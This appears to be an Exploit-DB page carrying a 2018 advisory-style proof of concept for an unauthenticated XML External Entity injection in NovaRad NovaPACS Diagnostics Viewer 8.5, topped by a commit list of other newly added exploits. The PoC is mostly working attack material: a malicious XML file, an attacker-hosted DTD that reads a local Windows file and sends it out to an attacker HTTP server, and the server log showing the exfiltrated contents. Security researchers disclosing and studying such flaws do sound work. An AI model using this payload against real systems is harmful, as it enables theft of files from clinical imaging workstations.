8379495e8e
10 changes to exploits/shellcodes Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution NovaRad NovaPACS Diagnostics Viewer 8.5 - XML External Entity Injection (File Disclosure) Tenda ADSL Router D152 - Cross-Site Scripting Jorani Leave Management 0.6.5 - Cross-Site Scripting Jorani Leave Management 0.6.5 - 'startdate' SQL Injection Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure) WirelessHART Fieldgate SWG70 3.0 - Directory Traversal Online Quiz Maker 1.0 - 'catid' SQL Injection Logicspice FAQ Script 2.9.7 - Remote Code Execution PHP File Browser Script 1 - Directory Traversal Online Quiz Maker 1.0 - 'catid' SQL Injection D-Link Dir-600M N150 - Cross-Site Scripting Logicspice FAQ Script 2.9.7 - Remote Code Execution PHP File Browser Script 1 - Directory Traversal
38 lines
No EOL
2 KiB
Text
38 lines
No EOL
2 KiB
Text
# Title: NovaRad NovaPACS Diagnostics Viewer 8.5 - XML External Entity Injection (File Disclosure)
|
|
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
|
|
# Date: 2018-09-07
|
|
# Vendor: NovaRad Corporation
|
|
# Product web page: https://www.novarad.net
|
|
# Affected version: 8.5.19.75 (Diagnostics Viewer, Study Browser)
|
|
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
|
# Advisory ID: ZSL-2018-5488
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5488.php
|
|
# CVE: N/A
|
|
|
|
# Desc: NovaPACS suffers from an unauthenticated XML External Entity
|
|
# (XXE) injection vulnerability using the DTD parameter entities technique
|
|
# resulting in disclosure and retrieval of arbitrary data from the affected
|
|
# node via out-of-band (OOB) channel attack. The vulnerability is triggered
|
|
# when importing XML format preferences within the settings submenu.
|
|
|
|
# PoC
|
|
# Malicious.xml:
|
|
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<!DOCTYPE ZSL [
|
|
<!ENTITY % remote SYSTEM "http://10.0.1.230:8080/xxe.xml">
|
|
%remote;
|
|
%root;
|
|
%oob;]>
|
|
|
|
# Attacker's xxe.xml:
|
|
|
|
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
|
|
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://10.0.1.230:8080/?%payload;'> ">
|
|
|
|
Data retrieval:
|
|
|
|
lqwrm@metalgear:~$ python -m SimpleHTTPServer 8080
|
|
Serving HTTP on 0.0.0.0 port 8080 ...
|
|
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /xxe.xml HTTP/1.1" 200 -
|
|
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo%0D%0A[FIX%20DMACS]%0D%0AMinAfterStartup=0 HTTP/1.1" 200 - |